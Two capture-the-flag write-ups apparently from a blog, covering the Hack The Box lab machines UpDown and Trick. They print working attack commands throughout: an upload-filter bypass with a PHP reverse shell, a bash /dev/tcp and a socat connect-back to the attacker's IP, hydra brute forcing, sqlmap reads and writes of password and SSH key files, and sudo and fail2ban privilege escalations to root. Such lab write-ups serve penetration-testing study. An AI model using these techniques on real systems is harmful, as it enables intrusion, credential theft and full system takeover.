Tag: HTBLab

  • UpDown

    site is up

    Enumeration

    nmap -Pn -sV -sC -oA initial_scan 10.10.11.177
    

    The initial scan shows that the SSH and Apache HTTP services are running on the target. The website looks like a simple application that allows you to check if your own site is up or not:

    site is up

    Notice the domain at the bottom of the page: siteisup.htb. Let’s add this to our local /etc/hosts file in order to enable fuzzing subdomains, etc.

    A little directory busting with ffuf turns up a directory called dev. It also let’s us know that this site is built with PHP by the presence of an index.php file. Browsing to the /dev directory gets us a blank, white page and nothing else. Further dir busting using our standard wordlist shows only that there’s an index.php file in the /dev directory that, apparently, does nothing. Fuzzing for subdomains returns dev.siteisup.htb as a valid subdomain; however, when we try to access it, we are met with a 403 Forbidden error.

    ffuf -w /usr/share/dirb/wordlists/big.txt:FUZZ -u http://siteisup.htb -H host: FUZZ.siteisup.htb -fs 1131 -of html -o ffuf-subdomains.html -c
    

    Further fuzzing of the /dev directory, using a different wordlist, discovers an accessible .git/ directory.

    ffuf -w /usr/share/seclists/Discovery/Web-Content/dirsearch.txt:FUZZ -u http://siteisup.htb/dev/FUZZ -of html -o ffuf-dirsearch-siteisup_dev.html -e .php -c
    

    Browsing to siteisup.htb/dev/.git proves that it is, indeed, available to us.

    siteisup.htb/dev/.git

    Let’s download the .git/ directory to our local machine and have a proper look around.

    wget -r http://siteisup.htb/dev/.git
    

    git log - htaccess

    After downloading the .git/ directory and running git log, we find this interesting entry. We can check the content of the commit using git diff:

    git diff bc4ba79e596e9fd98f1b2837b9bd3548d04fe7ab 8812785e31c879261050e72e20f298ae8c43b565
    

    (NOTE: 8812785e31c879261050e72e20f298ae8c43b565 is the next commit after our target.)

    git diff htaccess

    Based on this, it looks like we need to include a Special-Dev: only4dev header in our request in order to access the dev.siteisup.htb site. We can do this by intercepting a request with Burp and adding the required header, like so:

    burp special-dev

    After sending the request with the additional header, we get access to the site:

    dev.siteisup.htb

    As a simple test, create a PHP file with the following content and try uploading it:

    <?php echo "Hello, World!"; ?>
    

    Unfortunately, this is met with a Extension not allowed! error. While looking through the git repo earlier, I noticed a file called checker.php. Once again, we can use git diff to try and get a look at the code:

    git diff 57af03ba60cdcfe443e92c33c188c6cecb70eb10 c8fcc4032487eaf637d41486eb150b7182ecd1f1
    

    upload file check

    This tells us several things:

    1. Uploaded files must be < 10kb in size.
    2. No form of the .php extension (along with several others) is allowed.
    3. The file is uploaded to a subdirectory in uploads/ created using the MD5 hash of the current time when the script runs.
    4. The script expects a list of URLs, separated by newlines, which it checks one-by-one.
    5. After all the checks are complete, the uploaded file is deleted.

    Knowing this, it may be possible to create a reverse shell script with the .phar extension and upload it to the target. But we’ll need to include some method of slowing the checker application so that we actually have time to access the reverse shell before it’s deleted.

    To test these assumptions, create a test.phar file using the following script:

    for i in {1..200}; do echo "http://google.com" >> test.phar; done; echo '<?php echo "Hello, World!"; ?>' >> test.phar
    

    The first 200 http://google.com URLs will be used to keep the checker script busy while we navigate to the test.phar script in the uploads/ directory, being sure to add the Special-Dev: only4dev header to each request. Now we go back to dev.siteisup.htb and upload test.phar.

    test.phar uploaded

    test.phar executed

    Success! The checker script was kept busy long enough for us to navigate to, and execute, our test script.

    In order to gather as much information about the target as possible, let’s make a copy of the test.phar script called info.phar and replace the call to echo “Hello, World!” with the following:

    <?php phpinfo(); ?>
    

    After uploading and executing this script, we can see all the details about the PHP installation on the target. The most frustrating thing we learn is that the functions we would normally use to get a reverse shell have been disabled:

    php - disabled functions

    Initial Foothold

    Luckily, msfvenom provides a pretty smart PHP reverse shell that checks for disabled functions:

    msfvenom -p php/reverse_php LHOST=10.10.14.67 LPORT=4444
    

    Create a shell.phar file (including the first 200 google.com URLs) and copy the output from msfvenom at the bottom. Fire up a netcat listener (nc -lnvp 4444 -s 10.10.14.67), upload the shell.phar file, and execute it from it’s uploads/ subdirectory.

    reverse shell

    Voila! We have a reverse shell.

    Next, we look at /etc/passwd and see that there is a user called developer that has shell access. Unfortunately, it’s not possible to directly read the private key from /home/developer/.ssh/id_rsa. There are, however, a couple of scripts in /home/developer/dev that we could use to our advantage, including one that has the SUID bit set:

    developer files

    The first script (siteisup) is a binary file. As such, reading the contents doesn’t really provide many clues as to what it does. The Python script, on the other hand, looks promising:

    siteisup_test.py

    This is good. We know from HackTricks that it should be possible to abuse the input() function to call system commands. The problem is that we’re using a volitile PHP reverse shell; so, when we try running python siteisup_test.py, we get no output and our shell essentially freezes. The same thing happens when trying to upgrade the shell using the standard python method: python -c 'import pty; pty.spawn("/bin/bash")'. Clearly, we’ll have to find another way.

    A while back, I came across a useful article that’s all about upgrading simple shells, like ours, to fully interactive TTYs. The second method discussed, using socat, is the one we’ll use here.

    Because socat isn’t pre-installed on the target machine, and it doesn’t have internet access, we’ll first need to download a standalone binary to our local machine:

    wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat
    

    Once we have that, spawn a Python HTTP server (python -m http.server 8000) and download socat to the target:

    wget -q http://10.10.14.67:8000/socat -O /tmp/socat
    

    Next, change the file permissions so that socat is executable. Then, on our local machine, set up a listener:

    socat file:`tty`,raw,echo=0 tcp-listen:4443
    

    (NOTE: we use port 4443 for socat because netcat is already listening on port 4444.)

    On the target, execute socat to connect back to our local machine:

    /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.67:4443
    

    Just like that, we have a fully upgraded shell. Now let’s see if we can run system commands through the siteisup_test.py script we found earlier:

    siteisup_test.py id

    The output tells us that it is, indeed, possible to run system commands. So let’s try and get the developer account’s private key next:

    siteisup_test.py id_rsa

    Since our shell is running with permissions for the www-data account, we still cannot read developer’s private key. All is not lost, though. There’ still the siteisup binary script, which is owned by developer and has the SUID bit set. This is highly suspicious, so let’s go ahead and see what it does.

    siteisup id_rsa

    It looks like this script probably calls siteisup_test.py, meaning we could use it to retrieve developer’s private key.

    After saving the private key locally, and changing the file permissions to 600, we’re able to SSH in to the target and retrieve the user flag.

    Privilege Escalation

    As always, after gaining a foothold, first run sudo -l to see what the current account can do. In this case, the developer account is allowed to run /usr/local/bin/easy_intall without a password. easy_install is used for installing Python packages and, thanks to GTFOBins, we know it’s possible to use it to elevate our privileges:

    TF=$(mktemp -d)
    echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
    sudo easy_install $TF
    

    root privileges

    Now all that’s left is to grab the root flag from /root/root.txt.

  • Trick

    Trick Pwned

    Enumeration

    Initial scans show that SSH, SMTP, DNS (Bind9), and Nginx are all running on the target. The website hosted on Nginx appears to be nothing more than a standard “coming soon” page that presents no avenues for gaining a foothold. An exhaustive scan with OWASP Zap also turned up nothing.

    Trick - Coming Soon

    Attempting to enumerate some valid usernames via SMTP and Metasploit’s auxiliary/scanners/smtp/smtp_user_enum module likewise turned up nothing useful.

    According to the initial scan, the target uses the default debian.localdomain domain, but querying the DNS service for that domain gets no results. There’s no indication that it’s being used, but let’s try adding an entry for the domain trick.htb to our local /etc/hosts file, anyway. That done, let’s try querying the DNS service again. This time, we’ll attempt a zone transfer:

    zone transfer

    Success! We now have another path to follow in the form of the preprod-payroll.trick.htb subdomain. Let’s add this to our local /etc/hosts file and see what we’ve got.

    preprod-payroll

    preprod-payroll.trick.htb leads us to a new page that includes a login. We don’t have any valid credentials, or even just a username, to log in here; so let’s try a couple of simple tricks. First, let’s fire up Burp and send a login request, changing the username and password variables to arrays in case the login mechanism is using PHP’s strcmp() function:

    strcmp login attempt

    Unfortunately, this didn’t get us in. It did, however, show us that the application leaks potentially useful information in error messages.

    Directory busting with ffuf shows a directory called database, but we just get a 403 error when attempting to access it. Fuzzing for files with the .php extension turns up a lot, including a file called users.php that we can access without having to log in. This page tells us that there’s an admin user called Enemigosss. Using hydra to try and brute force the password did not work, though.

    hydra -l Enemigosss -P /usr/share/seclists/Passwords/darkweb2017-top10000.txt preprod-payroll.trick.htb http-post-form '/login.php:username=^USER^&password=^PASS^:Username or password is incorrect.'

    Looking at the source code for users.php, we find the javascript that is used for adding/editing users:

    source - users.php

    This tells us that manage_user.php is the page that actually handles these functions; so we check out that source code, as well:

    source -manager_user.php

    First, we try adding a new admin user:

    curl -X POST 'http://preprod-payroll.trick.htb/ajax.php?action=save_user' -d 'id=2&name=test&username=test&password=chang3m3&type=1' -v

    However, despite getting a response of “1” (supposedly indicating success), the new user does not show up on the users.php page and attempts to log in with it fail. So, next, we try editing the existing Enemigosss admin user by pointing our browser to http://preprod-payroll.trick.htb/manage_user.php?id=1.

    edit admin user

    We see this does, indeed, load Enemigosss’ user info. And, if we have a look at the source code…

    admin credentials

    Boom! We got the admin password.

    Using these credentials, we are able to successfully log in:

    admin logged in

    It doesn’t look like there are any easy LFI vulnerabilities available. But the edit user function (manage_user.php?id=1) looks like it might be vulnerable to SQL injection. So let’s do a little testing with SQLMap.

    Fire up Burp and and click the “Edit” action for user Enemigosss. Right-click the intercepted request in Burp and select “Copy to file.” Save the request as a TXT file. Now, let’s try some basic enumeration:

    sqlmap -r sqlmap_request.txt --banner --current-user --current-db --is-dba

    sqlmap enum

    The output proves that the target app is, indeed, vulnerable to SQL injection attacks.

    Initial Foothold

    Unfortunately, the current DB user (remo@localhost) isn’t an admin, making it less likely that we’ll be able to read local files on the target. But, let’s try reading /etc/passwd anyway:

    sqlmap -r sqlmap_request.txt --file-read "/etc/passwd"

    sqlmap read passwd

    Surprisingly, it worked and the /etc/passwd file was saved to our machine.

    /etc/passwd

    We see here that there is a user called michael on the target. Let’s see if he’s got a private key that we can read:

    sqlmap -r sqlmap_request.txt --file-read "/home/michael/.ssh/id_rsa"

    Unfortunately, that didn’t work. Next, let’s try and write a reverse shell to the target.

    1. Get a one-liner from msfvenom and save it as shell.php:
    <?php system('bash -c "0<&157-;exec 157<>/dev/tcp/10.10.14.67/4444;sh <&157 >&157 2>&157"'); ?>
    1. Use SQLMap to try and write the file to the target:
    sqlmap -r sqlmap_request.txt --file-write "shell.php" --file-dest "/tmp/shell.php"

    (NOTE: Attempting to write the file to /var/www/html did not work.)

    SQLMap output an error that said: the remote file ‘/tmp/shell.php’ is larger (103 B) than the local file ‘shell.php’ (96B). But the write seems to have worked.

    1. Start a netcat listener: nc -lnvp 4444 -s 10.10.14.67
    2. Try taking advantage of a possible LFI vulnerability in the way the target app loads pages by pointing our browser to http://preprod-payroll.trick.htb/index.php?page=/./tmp/shell

    reverse shell

    It worked! Let’s give our shell a bit of an upgrade:

    python3 -c 'import pty; pty.spawn("/bin/bash")'

    Checking out the db_connect.php file, we find another set of credentials for the remo user.

    As indicated by our previous attempt to read michael’s private key, it is only readable by the owner. However, it looks like somone got here before us and left a little present: the results of a LinPEAS scan, run as the michael user, in /tmp/linpeas_report. In this report we find michael’s private key:

    private key - michael

    Using this key, we are able to SSH in to the target as michael and grab the user flag:

    initial foothold

    Privilege Escalation

    As we saw earlier, michael is a member of the security group. Running find / -group security 2> /dev/null shows that the /etc/fail2ban/action.d/ directory is owned and writable by the security group. sudo -l shows that michael can run /etc/init.d/fail2ban restart as root without a password.

    In /etc/fail2ban/action.d/ there are many different .conf files. If we look at iptables-multiport.conf, we can see there’s a section called actionstart:

    fail2ban - action start

    The command written here will execute when fail2ban starts. Since we can restart fail2ban, our goal is to set actionstart to run the following command:

    chmod +s /bin/bash

    Unfortunately, all the .conf files in /etc/fail2ban/action.d/ are owned by root:root and we don’t have any write privileges. But, since the action.d/ directory, itself, is owned and writable by the security group – of which michael is a member – we CAN create new files. So let’s run the following sequence of commands to replace iptables-multiport.conf with a file we can write to:

    cp iptables-multiport.conf iptables-multiport.conf.new; mv iptables-multiport.conf iptables-multiport.conf.bak; mv iptables-multiport.conf.new iptables-multiport.conf

    And we can now write to the iptables-multiport.conf file:

    new iptables-multiport.conf

    So, let’s write our command in the actionstart section and restart fail2ban:

    fail2ban - restart

    As we can see, /bin/bash now has the SUID bit set. Now, if we run /bin/bash -p, we should get a root shell:

    root privs

    Success. Now let’s grab the root flag.